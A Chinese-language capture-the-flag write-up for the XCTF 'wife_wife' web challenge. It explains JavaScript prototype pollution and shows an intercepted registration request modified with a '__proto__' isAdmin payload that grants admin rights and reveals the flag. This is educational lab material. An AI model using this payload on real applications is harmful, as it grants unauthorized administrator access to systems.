> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# 攻防世界  XCTF - wife_wife writeup (zh-TW)
- URL: https://taiwanding.com/gong-fang-shi-jie-xctf-wife_wife-writeup-zh-tw/
- Published: 2025-10-23T07:24:39.000Z
- Updated: 2025-11-03T09:09:13.000Z
- Author: Kevin Chen
- Tags: #xctf, CTF, web, #prototype-pollution

## 題目資訊

- **分類**: Web
- **描述**: cat-wifi，本题不需要爆破
- 解出人數: 4426
- **題目連結**: [https://adworld.xctf.org.cn/challenges/list](https://adworld.xctf.org.cn/challenges/list?ref=taiwanding.com)

## 解題過程

### Step 1: 分析註冊邏輯

查看 `register.html` 源代碼：

```javascript
function register(username, password, inviteCode, isAdmin){
    let user = {username, password, isAdmin}
    if(isAdmin){
        if(!inviteCode){
            alert('invite code required')
            return
        }
        user = {...user, inviteCode}
    }
    fetch('/register', {
        method: 'post',
        body: JSON.stringify(user)
    })
}

```

🔍 **關鍵發現**：

- 前端檢查 `isAdmin=true` 時必須有 `inviteCode`
- 但這只是**前端驗證**，可以繞過！
- 後端使用 `Object.assign()` 合併對象，存在原型鏈污染風險

### Step 2: 理解 Prototype Pollution

**原型鏈污染原理**：

```javascript
// 正常情況
let user = {username: "test", password: "123"}
user.isAdmin  // undefined

// 污染原型鏈
let payload = {
    username: "test",
    password: "123", 
    "__proto__": {
        "isAdmin": true
    }
}
// 所有繼承自 Object 的對象都會獲得 isAdmin=true 屬性！

```

後端代碼推測：

```javascript
let newUser = Object.assign({}, baseUser, user)  // 繼承被污染的原型

```

### Step 3: 使用 Burp Suite 繞過

#### ① 開啟 Burp Suite 代理

1. 設置瀏覽器代理到 `127.0.0.1:8080`
2. 開啟 Intercept: `Proxy → Intercept is on`

#### ② 填寫註冊表單

訪問註冊頁面，填寫：

- Username: `admin1234`
- Password: `1234`
- ✅ 勾選 "is admin"
- Invite Code: `1234`（隨便填）

點擊 **Sign up**，Burp 會攔截請求

#### ③ 修改攔截的請求（關鍵！）

**原始請求**：

```json
{"username":"admin1234","password":"1234","isAdmin":true,"inviteCode":"1234"}

```

**修改為**（原型鏈污染 payload）：

```json
{"username":"admin1234","password":"1234","__proto__":{"isAdmin":true},"inviteCode":"1234"}

```

![](https://taiwanding.com/content/images/2025/10/image-8.png)

**重點變化**：

- ❌ 刪除頂層的 `"isAdmin":true`
- ✅ 加上 `"__proto__":{"isAdmin":true}`
- `inviteCode` 可以是**任意值**

#### ④ 放行並查看響應

點擊 **Forward**，成功響應：

```json
{"msg":"user created successfully","err":false}

```

![](https://taiwanding.com/content/images/2025/10/image-9.png)

✅ 註冊成功！

### Step 4: 登入並獲取 Flag

1. 訪問 http://61.147.171.103:58883/login.html
2. 登入剛才註冊的帳號：
  - Username: `admin1234`
  - Password: `1234`
3. 登入後看到頁面：

```
Username: admin1234
Flag: CatCTF{Redacted}
Wife: you have flag, so no wife

```

🎉 **成功獲得 Flag！**

## 學習重點

### 1\. JavaScript 原型鏈污染

**漏洞成因**：

```javascript
// 危險操作：直接合併用戶輸入
let newUser = Object.assign({}, baseUser, userInput)

```

**為什麼有效**：

- JSON 解析時，`__proto__` 被當作普通鍵名
- `Object.assign()` 會複製 `__proto__` 的屬性到原型鏈
- 所有新創建的對象都繼承被污染的屬性

### 2\. Content-Type 的重要性

**為什麼 curl 失敗，Burp 成功？**

| 工具   | Content-Type             | 結果            |
| ---- | ------------------------ | ------------- |
| curl | application/json         | ❌ JSON 雙重解析錯誤 |
| Burp | text/plain;charset=UTF-8 | ✅ 正確解析        |

後端可能對不同 Content-Type 有不同處理邏輯

## 經驗分享

這一題的重點在於，是否能繞過那個is\_admin，所以只要確定繞過，登入即可查看flag，但筆者前面卡了很久處理curl的問題如下，

![](https://taiwanding.com/content/images/2025/10/image-10.png)

後來就索性直接用burp suite來解\~所以適時轉換工具還是必要的。